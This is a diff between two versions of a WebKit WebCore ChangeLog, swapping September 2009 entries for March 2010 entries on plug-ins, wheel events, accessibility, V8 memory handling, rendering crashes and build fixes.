-        (WebCore::RenderThemeChromiumMac::paintMediaSeekBackButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaSeekForwardButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderThumb):
-        (WebCore::RenderThemeChromiumMac::paintMediaRewindButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaReturnToRealtimeButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaControlsBackground):
-        (WebCore::RenderThemeChromiumMac::paintMediaCurrentTime):
-        (WebCore::RenderThemeChromiumMac::paintMediaTimeRemaining):
-        (WebCore::RenderThemeChromiumMac::extraMediaControlsStyleSheet):
-
-2009-09-16  Daniel Bates  <dbates@webkit.org>
+        * platform/network/chromium/ResourceResponse.h:
+        (WebCore::ResourceResponse::ResourceResponse):
+        (WebCore::ResourceResponse::isMultipartPayload):
+        (WebCore::ResourceResponse::setIsMultipartPayload):
 
-        Reviewed by Darin Adler.
+2010-03-02  Tony Chang  <tony@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29306
-        
-        Fixes an issue where an attack that contains accented characters can
-        bypass the XSSAuditor.
-        
-        XSSAuditor::decodeURL used the wrong length for the input string. 
-        When the input string was decoded, the decoded result was truncated.
-        Hence, XSSAuditor was comparing the source code of the script to the 
-        truncated input parameters.
+        Not reviewed, test fix.
 
-        Test: http/tests/security/xssAuditor/img-onerror-accented-char.html
+        Revert r55447 because the new layout test is crashing consistently
+        on Leopard Intel Debug (tests).
+        https://bugs.webkit.org/show_bug.cgi?id=35261
 
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::decodeURL):
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::BitmapImageSingleFrameSkia::create):
 
-2009-09-16  Brady Eidson  <beidson@apple.com>
+2010-03-02  Adam Barth  <abarth@webkit.org>
 
-        Reviewed by Sam Weinig.
+        Reviewed by Darin Fisher.
 
-        Explore allowing pages with unload handlers into the Page Cache
-        https://bugs.webkit.org/show_bug.cgi?id=29021
+        Google Analytics triggers "blocked plugin" UI
+        https://bugs.webkit.org/show_bug.cgi?id=35565
 
-        No new tests. (All previous tests continue to pass)
+        Just like for running script, we need to distinguish between querying
+        whether plug-ins are enabled and actually blocking a page from
+        instantiating a plugin.  We need to issue different callbacks to the
+        FrameLoaderClient so that the client can inform us that plug-ins are
+        disabled in some cases without showing the "plug-in blocked" UI.
 
+        * dom/DOMImplementation.cpp:
+        (WebCore::DOMImplementation::createDocument):
         * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::stopLoading): If the document is in the page cache, don't fire the unload event.
-
-2009-09-16  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Teach ScheduledAction::execute about isolated worlds
-        https://bugs.webkit.org/show_bug.cgi?id=27703
-
-        We now save a handle to the original context.  We use that handle to
-        call the timeout in the right context / world.
+        (WebCore::FrameLoader::requestObject):
+        (WebCore::FrameLoader::allowPlugins):
+        * loader/FrameLoader.h:
+        (WebCore::):
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::didNotAllowPlugins):
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::substituteMIMETypeFromPluginDatabase):
+        * loader/PluginDocument.cpp:
+        (WebCore::PluginTokenizer::writeRawData):
+        * page/Page.cpp:
+        (WebCore::Page::pluginData):
+        * plugins/MimeType.cpp:
+        (WebCore::MimeType::enabledPlugin):
 
-        Tests: http/tests/security/isolatedWorld/window-setTimeout-function.html
-               http/tests/security/isolatedWorld/window-setTimeout-string.html
+2010-03-02  Andreas Kling  <andreas.kling@nokia.com>
 
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::ScheduledAction):
-        (WebCore::ScheduledAction::execute):
-        * bindings/v8/ScheduledAction.h:
-        (WebCore::ScheduledAction::ScheduledAction):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::SetTimeoutOrInterval):
+        Reviewed by Simon Hausmann.
 
-2009-09-16  Adam Barth  <abarth@webkit.org>
+        [Qt] Support the HTTP OPTIONS verb (needed for preflight requests)
 
-        Reviewed by Dimitri Glazkov.
+        https://bugs.webkit.org/show_bug.cgi?id=34647
 
-        [V8] Teach ScheduledAction::execute about isolated worlds
-        https://bugs.webkit.org/show_bug.cgi?id=27703
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
+        (WebCore::QNetworkReplyHandler::start):
 
-        We now save a handle to the original context.  We use that handle to
-        call the timeout in the right context / world.
+2010-03-02  Evan Stade  <estade@chromium.org>
 
-        Tests: http/tests/security/isolatedWorld/window-setTimeout-function.html
-               http/tests/security/isolatedWorld/window-setTimeout-string.html
+        Reviewed by David Levin.
 
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::ScheduledAction):
-        (WebCore::ScheduledAction::execute):
-        * bindings/v8/ScheduledAction.h:
-        (WebCore::ScheduledAction::ScheduledAction):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::SetTimeoutOrInterval):
+        https://bugs.webkit.org/show_bug.cgi?id=35261
+        [skia] crash when attempting to render certain SVGs
 
-2009-09-16  Sam Weinig  <sam@webkit.org>
+        This fixes the crash, but the SVG still doesn't render properly.
 
-        Reviewed by Anders Carlsson.
+        Test: svg/custom/tiling-regular-hexagonal-crash.svg
 
-        Add some groups to the xcode project to make the bindings/js/ group
-        a little nicer.
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::BitmapImageSingleFrameSkia::create): don't return 0 when
+        the copy fails; instead return a blank bitmap. The caller doesn't
+        check for 0 before dereferencing.
 
-        * WebCore.xcodeproj/project.pbxproj:
+2010-03-02  Arno Renevier  <arno@renevier.net>
 
-2009-09-16  Sam Weinig  <sam@webkit.org>
+        Reviewed by Gustavo Noronha Silva.
 
-        Reviewed by Anders Carlsson.
+        [Gtk] use geoclue providers with don't provide update
+        https://bugs.webkit.org/show_bug.cgi?id=35191
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29320
-        JS callback objects should store the global object
+        No new tests, behaviour depends on system.
 
-        This just changes the callback objects to store the global object instead
-        of the frame. A follow up patch will change them to store the 'current' 
-        global object instead of the lexical or dynamic.
+        * platform/gtk/GeolocationServiceGtk.cpp:
+        (WebCore::GeolocationServiceGtk::startUpdating):
 
-        * DerivedSources.make: Remove unused VoidCallback.
-        * WebCore.xcodeproj/project.pbxproj: Ditto.
-        * bindings/js/JSCustomPositionCallback.cpp:
-        (WebCore::JSCustomPositionCallback::JSCustomPositionCallback):
-        (WebCore::JSCustomPositionCallback::handleEvent):
-        * bindings/js/JSCustomPositionCallback.h:
-        (WebCore::JSCustomPositionCallback::create):
-        * bindings/js/JSCustomPositionErrorCallback.cpp:
-        (WebCore::JSCustomPositionErrorCallback::JSCustomPositionErrorCallback):
-        (WebCore::JSCustomPositionErrorCallback::handleEvent):
-        * bindings/js/JSCustomPositionErrorCallback.h:
-        (WebCore::JSCustomPositionErrorCallback::create):
-        * bindings/js/JSCustomSQLStatementCallback.cpp:
-        (WebCore::JSCustomSQLStatementCallback::JSCustomSQLStatementCallback):
-        (WebCore::JSCustomSQLStatementCallback::handleEvent):
-        * bindings/js/JSCustomSQLStatementCallback.h:
-        (WebCore::JSCustomSQLStatementCallback::create):
-        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
-        (WebCore::JSCustomSQLStatementErrorCallback::JSCustomSQLStatementErrorCallback):
-        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
-        * bindings/js/JSCustomSQLStatementErrorCallback.h:
-        (WebCore::JSCustomSQLStatementErrorCallback::create):
-        * bindings/js/JSCustomSQLTransactionCallback.cpp:
-        (WebCore::JSCustomSQLTransactionCallback::Data::Data):
-        (WebCore::JSCustomSQLTransactionCallback::Data::globalObject):
-        (WebCore::JSCustomSQLTransactionCallback::JSCustomSQLTransactionCallback):
-        (WebCore::JSCustomSQLTransactionCallback::handleEvent):
-        * bindings/js/JSCustomSQLTransactionCallback.h:
-        (WebCore::JSCustomSQLTransactionCallback::create):
-        * bindings/js/JSCustomSQLTransactionErrorCallback.cpp:
-        (WebCore::JSCustomSQLTransactionErrorCallback::JSCustomSQLTransactionErrorCallback):
-        (WebCore::JSCustomSQLTransactionErrorCallback::handleEvent):
-        * bindings/js/JSCustomSQLTransactionErrorCallback.h:
-        (WebCore::JSCustomSQLTransactionErrorCallback::create):
-        * bindings/js/JSCustomVoidCallback.cpp:
-        (WebCore::JSCustomVoidCallback::JSCustomVoidCallback):
-        (WebCore::JSCustomVoidCallback::handleEvent):
-        * bindings/js/JSCustomVoidCallback.h:
-        (WebCore::JSCustomVoidCallback::create):
-        * bindings/js/JSDatabaseCustom.cpp:
-        (WebCore::JSDatabase::changeVersion):
-        (WebCore::createTransaction):
-        (WebCore::JSDatabase::transaction):
-        (WebCore::JSDatabase::readTransaction):
-        * bindings/js/JSGeolocationCustom.cpp:
-        (WebCore::createPositionCallback):
-        (WebCore::createPositionErrorCallback):
-        (WebCore::JSGeolocation::getCurrentPosition):
-        (WebCore::JSGeolocation::watchPosition):
-        * bindings/js/JSSQLTransactionCustom.cpp:
-        (WebCore::JSSQLTransaction::executeSql):
+2010-03-02  John Abd-El-Malek  <jam@chromium.org>
 
-2009-09-15  Kent Tamura  <tkent@chromium.org>
+        Reviewed by Darin Adler.
 
-        Reviewed by Eric Seidel.
+        Remove unnecessary check.
+        https://bugs.webkit.org/show_bug.cgi?id=35513
 
-        <input maxlength=> should restrict only values specified by users.
-        https://bugs.webkit.org/show_bug.cgi?id=21271
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::updateScrollbars):
 
-        * dom/InputElement.cpp:
-        (WebCore::InputElement::setValueFromRenderer):
-        (WebCore::InputElement::sanitizeValue):
-        (WebCore::InputElement::sanitizeUserInputValue): Rename from constrainValue().
-        (WebCore::InputElement::handleBeforeTextInsertedEvent):
-        (WebCore::InputElement::updateValueIfNeeded):
-        * dom/InputElement.h:
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::setInputType):
-        (WebCore::HTMLInputElement::value):
-        (WebCore::HTMLInputElement::setValue):
-        (WebCore::HTMLInputElement::sanitizeValue):
-        * html/HTMLInputElement.h:
-        * rendering/RenderTextControlSingleLine.cpp:
-        (WebCore::RenderTextControlSingleLine::subtreeHasChanged):
-        * wml/WMLInputElement.cpp:
-        (WebCore::WMLInputElement::constrainValue):
-        * wml/WMLInputElement.h:
-        (WebCore::WMLInputElement::sanitizeValue):
+2010-03-02  Darin Fisher  <darin@chromium.org>
 
-2009-09-16  Enrica Casucci  <enrica@apple.com>
+        Fix chromium build bustage.
 
-        Reviewed by Eric Seidel.
+        * page/Page.cpp:
+        (WebCore::Page::privateBrowsingStateChanged): PluginView methods may
+        not be called in the Chromium port.
 
-        Reorganizing helper functions in htmlediting.h to group them by type of object they return/operate upon.
-        https://bugs.webkit.org/show_bug.cgi?id=29319
+2010-03-02  Beth Dakin  <bdakin@apple.com>
 
-        * editing/IndentOutdentCommand.cpp:
-        Removed implementation of isAtUnsplittableElement.
+        Reviewed by Darin Adler and Adam Roben.
 
-        * editing/IndentOutdentCommand.h:
-        Removed member function isAtUnsplittableElement, because it was not class specific and belonged logically among the helper functions.
+        Fix for <rdar://problem/7485289> WebKit crashes on systems that 
+        don't support CoreAnimation
 
-        * editing/htmlediting.cpp:
-        (WebCore::isAtUnsplittableElement): added. The code was taken from IndentOutdentCommand.
+        WKCACFLayerRenderer::acceleratedCompositingAvailable() now creates 
+        a dummy HWND so that it can step through the whole setHostWindow() 
+        and createRenderer() process. createRenderer() also calls a new 
+        function, hardwareCapabilitiesIndicateCoreAnimationSupport() which 
+        can only be called  once we have a d3dDevice.
 
-        * editing/htmlediting.h:
-        Reordered functions to group them by type of object returned or operate upon.
-        Added comments.
-        Added isAtUnsplittableElement declaration.
+        setHostWindow() and createRenderer() now both return bools that 
+        indicate whether or not they have succeeded.
 
-2009-09-16  Geoffrey Garen  <ggaren@apple.com>
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::hardwareCapabilitiesIndicateCoreAnimationSupport):
+        (WebCore::CoreAnimationTesterWindowWndProc):
+        (WebCore::WKCACFLayerRenderer::acceleratedCompositingAvailable):
+        (WebCore::WKCACFLayerRenderer::shared):
+        (WebCore::WKCACFLayerRenderer::createRenderer):
+        * platform/graphics/win/WKCACFLayerRenderer.h:
+        (WebCore::WKCACFLayerRenderer::setHostWindow):
 
-        Reviewed by Sam Weinig and Anders Carlsson.
+2010-03-02  Mark Rowe  <mrowe@apple.com>
 
-        Removed some vestigial and potentially crashy code that makes consolidating
-        event listeners hard.
+        Rubber-stamped by Jon Honeycutt.
 
-        * dom/Node.cpp:
-        (WebCore::Node::addEventListener): No need to limit when event listeners
-        can be added. Other EventTargets don't do this.
-        
-        Also, check for null when accessing document(). Technically, the JS bindings
-        do this check for us, but let's not rely on that.
+        ScriptDebugServer shouldn't care that Mac does not use PluginView for plug-ins.
 
-2009-09-16  Anders Carlsson  <andersca@apple.com>
+        * bindings/js/ScriptDebugServer.cpp:
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::setJavaScriptPaused): Add an empty implementation of setJavaScriptPaused.
 
-        Reviewed by Adam Roben.
+2010-03-02  Mark Rowe  <mrowe@apple.com>
 
-        <rdar://problem/7155710>
-        HTML selects on windows cause containing window to become inactive when opened
-        
-        Redo the way we handle events when a popup menu is shown, based on
-        http://blogs.msdn.com/oldnewthing/archive/2004/08/20/217684.aspx
-        
-        Since a non-active window can't capture the mouse, we use the owning window 
-        (the WebView) as the capture window. We then run a recursive message pump that 
-        forwards all mouse and keyboard events to the popup menu.
-        
-        * platform/PopupMenu.h:
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::PopupMenu):
-        (WebCore::PopupMenu::show):
-        (WebCore::PopupMenu::hide):
-        (WebCore::PopupMenu::wndProc):
+        Rubber-stamped by Jon Honeycutt.
 
-2009-09-16  Dan Bernstein  <mitz@apple.com>
+        Clean up the build fix r55437 by adding an empty implementation of privateBrowsingStateChanged in PluginViewNone.cpp
 
-        Reviewed by Ada Chan.
+        * page/Page.cpp:
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::privateBrowsingStateChanged):
 
-        Speculative fix for
-        <rdar://problem/6937089> Crashes at RenderWidget::destroy()
+2010-03-02  Mark Rowe  <mrowe@apple.com>
 
-        * rendering/RenderWidget.cpp:
-        (WebCore::RenderWidget::destroy): Avoid calling renderArena() if node()
-        is null. Add two assertions that can help determine how this crash
-        happens (in particular, whether node() becomes null during destroy() or
-        it is null before destroy() is called).
+        Fix the Mac build.
 
-2009-09-16  Beth Dakin  <bdakin@apple.com>
+        * page/Page.cpp:
+        (WebCore::Page::privateBrowsingStateChanged): Mac doesn't use WebCore's PluginView class
+        for plug-ins, so provide an empty implementation of privateBrowsingStateChanged for Mac.
 
-        Speculative build fix.
+2010-03-02  Andy Estes  <aestes@apple.com>
 
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
+        Reviewed by Maciej Stachowiak.
 
-2009-09-16  Beth Dakin  <bdakin@apple.com>
+        Add the capability to create and dispatch a WheelEvent in JavaScript.
+        Ensure the event's default handler is triggered in the same way as it is
+        during a PlatformWheelEvent.
+
+        https://bugs.webkit.org/show_bug.cgi?id=35566
+
+        Test: fast/events/wheelevent-in-scrolling-div.html
+
+        * dom/Node.cpp: Ensure that the default behavior (scrolling) occurs for
+        wheel events originating both from the platform and from
+        JavaScript/ObjC.
+        (WebCore::Node::dispatchWheelEvent): Instantiate new WheelEvent with
+        the graunularity of the PlatformWheelEvent.
+        (WebCore::Node::defaultEventHandler): Add support for mousewheel events.
+        * dom/WheelEvent.cpp: Add three new member variables: m_deltaX, m_deltaY
+        and m_granularity.  m_deltaX and m_deltaY differ from m_wheelDeltaX and
+        m_wheelDeltaY, which are the number of wheel ticks multiplied by 120 for
+        IE compatibility.
+        (WebCore::WheelEvent::WheelEvent): Initialize new member variables.
+        (WebCore::WheelEvent::initWheelEvent): Same.
+        (WebCore::WheelEvent::initWebKitWheelEvent): Same.
+        * dom/WheelEvent.h: See WheelEvent.cpp.
+        (WebCore::WheelEvent::): Add Granularity enum (Pixel, Line, Page).
+        (WebCore::WheelEvent::create): Add new arguments.
+        (WebCore::WheelEvent::deltaX): Amount of scroll in x direction.
+        (WebCore::WheelEvent::deltaY): Amount of scroll in y direction.
+        (WebCore::WheelEvent::granularity): Units of deltaX and deltaY.
+        * dom/WheelEvent.idl: Add initWebKitWheelEvent() to JavaScript.  This is
+        the same as the initWheelEvent ObjC method.  As the DOM Level 3 Events
+        specification is still a working draft and subject to change, prefix
+        'WebKit' to the method signature to indicate experimental support.
+        * page/EventHandler.cpp: Move the scroll handling from
+        handleWheelEvent() to defaultWheelEventHandler(), which is executed on
+        both PlatformWheelEvents and JavaScript WheelEvents.
+        (WebCore::scrollNode): Renamed from scrollAndAcceptEvent().  Remove
+        the PlatformWheelEvent from the argument list and instead return a
+        boolean indicating if the scroll event was accepted.
+        (WebCore::EventHandler::handleWheelEvent): Move scrolling code from here
+        (WebCore::EventHandler::defaultWheelEventHandler): ...to here.
+        * page/EventHandler.h: Add function signature.
+
+2010-03-02  Mark Rowe  <mrowe@apple.com>
 
         Reviewed by Darin Adler.
 
-        Fix for <rdar://problem/7083741> Implement a CSS extension to 
-        adjust sub-pixel anti-aliasing for text
-        -and corresponding-
-        https://bugs.webkit.org/show_bug.cgi?id=29291
-
-        Added tests:
-        * fast/css/font-smoothing.html: Added.
-        * fast/css/parsing-webkit-font-smoothing.html: Added.
+        Bug 35576: WebKit should tell plug-in instances when private browsing state changes
+        <http://webkit.org/b/35576>
 
-        This patch adds a new CSS property called -webkit-font-smoothing 
-        that accepts the following as valid input: auto | none | 
-        antialiased | subpixel-antialiased
+        Notify plug-in instances when the private browsing state changes to match the behavior of the
+        Mac plug-in code.
 
-        Return appropriate computed style for -webkit-font-smoothing
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * page/Page.cpp:
+        (WebCore::Page::privateBrowsingStateChanged): Walk the frame tree and notify each PluginView that
+        the private browsing state has changed.
+        * page/Page.h:
+        * page/Settings.cpp:
+        (WebCore::Settings::setPrivateBrowsingEnabled): Notify the page that the private browsing state
+        has changed.
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::privateBrowsingStateChanged): Notify the plug-in instance of the new private
+        browsing state.
+        * plugins/PluginView.h:
 
-        Add a case for CSSPropertyWebkitFontSmoothing, and accept valid 
-        input.
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
+2010-03-02  Mark Rowe  <mrowe@apple.com>
 
-        Add mappings for FontSmoothing to the right CSS values.
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
-        (WebCore::CSSPrimitiveValue::operator FontSmoothing):
+        Reviewed by Oliver Hunt.
 
-        Add -webkit-font-smoothing
-        * css/CSSPropertyNames.in:
+        Bug 30348: Implement private mode for plug-ins on Windows
+        <http://webkit.org/b/30348> / <rdar://problem/7562261>
 
-        Set fontSmoothing on the FontDescription.
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
+        Rework PluginView::getValue and PluginView::getValueStatic to remove the amount of code that
+        was duplicated across platforms.  getValue and getValueStatic now call in to platform-specific
+        variants that indicate whether they handled the query.  If the query is not handled by the
+        platform-specific variants then the cross-platform handler has a chance to handle it.
 
-        Add antialiased and subpixel-antialiased as possible new CSS 
-        values.
-        * css/CSSValueKeywords.in:
-        Store the font smoothing CSS value in the FontDescription.
-        * platform/graphics/FontDescription.h:
-        (WebCore::FontDescription::FontDescription):
-        (WebCore::FontDescription::fontSmoothing):
-        (WebCore::FontDescription::setFontSmoothing):
-        (WebCore::FontDescription::operator==):
-
-        Call setShouldAntialias() and setShouldUseSmoothing() appropriately 
-        based on the CSS fontSmoothing() value.
-        * platform/graphics/mac/FontMac.mm:
-        (WebCore::Font::drawGlyphs):
-        * platform/graphics/win/FontCGWin.cpp:
-        (WebCore::Font::drawGlyphs):
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::getValueStatic): Give the platform-specific variant a chance to handle the
+        variable lookup.  If it does not handle it, return an error.
+        (WebCore::PluginView::getValue): Give the platform-specific variant and platform-specific static
+        variant a chance to handle the variable lookup.  If they do not handle it, apply the cross-platform
+        handler.  At the moment the cross-platform code handles NPNVWindowNPObject, NPNVPluginElementNPObject,
+        and NPNVprivateModeBool as they have an identical implementation across ports.
+        * plugins/PluginView.h:
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::platformGetValue): PluginViewNone does not handle any lookups.
+        (WebCore::PluginView::platformGetValueStatic): Ditto.
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::platformGetValueStatic):
+        (WebCore::PluginView::platformGetValue):
+        platform-independent implementation.
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::platformGetValueStatic):
+        (WebCore::PluginView::platformGetValue):
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::platformGetValueStatic):
+        (WebCore::PluginView::platformGetValue): Fix a bug noticed while updating this code.
+        The Qt implementation of the handler for NPNVToolkit was relying on case fall-through
+        to have some values handled by the static handler.  When NPNVprivateModeBool was added
+        it was placed before the default case, interferring with this fall-through.  It now
+        explicitly indicates in this situation that it was not handled.
+        * plugins/symbian/PluginViewSymbian.cpp:
+        (WebCore::PluginView::platformGetValueStatic):
+        (WebCore::PluginView::platformGetValue):
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::platformGetValueStatic):
+        (WebCore::PluginView::platformGetValue):
 
-        New function fontSmoothing()
-        * rendering/style/RenderStyle.h:
-        (WebCore::InheritedFlags::fontSmoothing):
+2010-03-02  Anders Carlsson  <andersca@apple.com>
 
-        New enum FontSmoothing.
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
+        Reviewed by Sam Weinig.
 
-2009-09-16  Yury Semikhatsky  <yurys@chromium.org>
+        Make the default constructor available to all platforms.
 
-        Reviewed by Timothy Hatcher.
+        * platform/PlatformKeyboardEvent.h:
+        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
+        * platform/mac/KeyEventMac.mm:
 
-        Remove style property if empty string is entered.
+2010-03-02  Jeremy Orlow  <jorlow@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29163
+        Reviewed by David Levin.
 
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline.prototype._onmouseout): fixed null pointer exception
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.applyStyleText): if styletext to apply is empty it will return an array to confirm the property removal
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertyTreeElement.prototype.):
-        (WebInspector.StylePropertyTreeElement.prototype):
+        Revert database thread changes that are no longer required
+        https://bugs.webkit.org/show_bug.cgi?id=35519
 
-2009-09-16  Yury Semikhatsky  <yurys@chromium.org>
+        Jochen Eisinger created 55214 and 55247 to track which database
+        owns which thread.  Dmitry suggested that this could also
+        be done via TLS, though.  After exploring the options, Jochen
+        chose to go the TLS route, so these patches are no longer needed.
 
-        Reviewed by Timothy Hatcher.
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::DatabaseThread):
+        (WebCore::DatabaseThread::databaseThread):
+        * storage/DatabaseThread.h:
+        (WebCore::DatabaseThread::getThreadID):
 
-        Always reset m_implicitShorthand to false after parsing
-        background-repeat style property otherwise properties
-        following after it may be erroneously marked as implicit.
+2010-03-02  Brady Eidson  <beidson@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28972
-        https://bugs.webkit.org/show_bug.cgi?id=28973
+        Reviewed by Sam Weinig.
 
-        Test: fast/backgrounds/repeat/margin-shorthand.html
+        Followup for REGRESSION(r51097) - Unable to log in to statefarm.com
+        <rdar://problem/7672667> and https://bugs.webkit.org/show_bug.cgi?id=35556
 
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
+        * dom/ScriptElement.cpp:
+        (WebCore::ScriptElementData::shouldExecuteAsJavaScript): To more perfectly match Gecko's rule,
+          strip whitespace from the attribute values before comparing to window/onload/onload().
 
-2009-09-16  Carol Szabo  <carol.szabo@nokia.com>
+2010-03-02  Chris Fleizach  <cfleizach@apple.com>
 
-        Reviewed by Alexey Proskuryakov.
+        Reviewed by Beth Dakin.
 
-        Incorrect behavior of XMLHttpRequest::getAllResponseHeaders and
-        XMLHttpRequest::getResponseHeader in the
-        HEADERS_RECEIVED readyState.
-        https://bugs.webkit.org/show_bug.cgi?id=29121
+        aria-label isn't respected on option elements
+        https://bugs.webkit.org/show_bug.cgi?id=35400
 
-        Tests: http/tests/xmlhttprequest/getAllResponseHeaders.html
-               http/tests/xmlhttprequest/getResponseHeader.html
+        When aria-label is used on an <option> element, it can take three forms.
+        An option in a multi-select list, a popup button and the menu that is displayed 
+        from the popup button. This patches the three requisite locations so that if
+        aria-label is used, the correct accessibility text is returned.
 
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::getAllResponseHeaders):
-        (WebCore::XMLHttpRequest::getResponseHeader):
-        Changed the minimum valid state from LOADING to HEADERS_RECEIVED.
+        Test: platform/mac/accessibility/option-with-arialabel.html
 
-2009-09-16  Vitaly Repeshko  <vitalyr@chromium.org>
+        * accessibility/AccessibilityListBoxOption.cpp:
+        (WebCore::AccessibilityListBoxOption::stringValue):
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::getAttribute):
+        * accessibility/AccessibilityObject.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::getAttribute):
+        (WebCore::AccessibilityRenderObject::stringValue):
+        * platform/PopupMenuClient.h:
+        * platform/mac/PopupMenuMac.mm:
+        (WebCore::PopupMenu::populate):
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::itemAccessibilityText):
+        * rendering/RenderMenuList.h:
+        * rendering/RenderTextControlSingleLine.h:
+        (WebCore::RenderTextControlSingleLine::itemAccessibilityText):
 
-        Reviewed by Dimitri Glazkov.
+2010-03-02  Mads Ager  <ager@chromium.org>
 
-        [V8] Fix style violation in V8AbstractEventListener.
-        https://bugs.webkit.org/show_bug.cgi?id=29303
+        Reviewed by Adam Barth.
 
-        * bindings/v8/V8AbstractEventListener.h:
-        (WebCore::V8AbstractEventListener::operator==):
+        [V8] V8 should be notified of context disposals
+        https://bugs.webkit.org/show_bug.cgi?id=35526
 
-2009-09-16  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+        Notify V8 of context disposals to allow it to clean up memory from those
+        contexts when idle.  When disposing a context, start a timer that will
+        give V8 an idle notification after a while to force cleanup.  Use a timer
+        to avoid performing an idle notification in the middle of navigation where
+        we know we are not idle.
 
-        Reviewed by Timothy Hatcher.
+        * WebCore.gypi:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::V8DOMWindowShell::disposeContextHandles):
+        * bindings/v8/V8GCForContextDispose.cpp: Added.
+        (WebCore::V8GCForContextDispose::V8GCForContextDispose):
+        (WebCore::V8GCForContextDispose::notifyContextDisposed):
+        (WebCore::V8GCForContextDispose::notifyIdleSooner):
+        (WebCore::V8GCForContextDispose::instance):
+        (WebCore::V8GCForContextDispose::pseudoIdleTimerFired):
+        * bindings/v8/V8GCForContextDispose.h: Added.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::WindowSetTimeoutImpl):
 
-        Add Watch Expression support to inspector
-        https://bugs.webkit.org/show_bug.cgi?id=27514
+2010-03-02  Pavel Feldman  <pfeldman@chromium.org>
 
-        Manual test added.
+        Not reviewed: adding missing image files to WebKit.qrc and gypi.
 
-        * English.lproj/localizedStrings.js:
         * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.completions):
-        (WebInspector.ConsoleView.prototype.evalInInspectedWindow):
-        (WebInspector.ConsoleView.prototype._enterKeyPressed):
-        * inspector/front-end/ObjectPropertiesSection.js:
-        (WebInspector.ObjectPropertiesSection.prototype.update.callback):
-        (WebInspector.ObjectPropertiesSection.prototype.update):
-        (WebInspector.ObjectPropertiesSection.prototype.updateProperties):
-        (WebInspector.ObjectPropertiesSection.CompareProperties):
-        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate.callback):
-        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
-        (WebInspector.ObjectPropertyTreeElement.prototype.update):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel):
-        (WebInspector.ScriptsPanel.prototype.reset):
-        (WebInspector.ScriptsPanel.prototype._callFrameSelected):
-        * inspector/front-end/WatchExpressionsSidebarPane.js: Added.
-        (WebInspector.WatchExpressionsSidebarPane):
-        (WebInspector.WatchExpressionsSidebarPane.prototype.refreshExpressions):
-        (WebInspector.WatchExpressionsSection):
-        (WebInspector.WatchExpressionsSection.prototype.update):
-        (WebInspector.WatchExpressionsSection.prototype.addExpression):
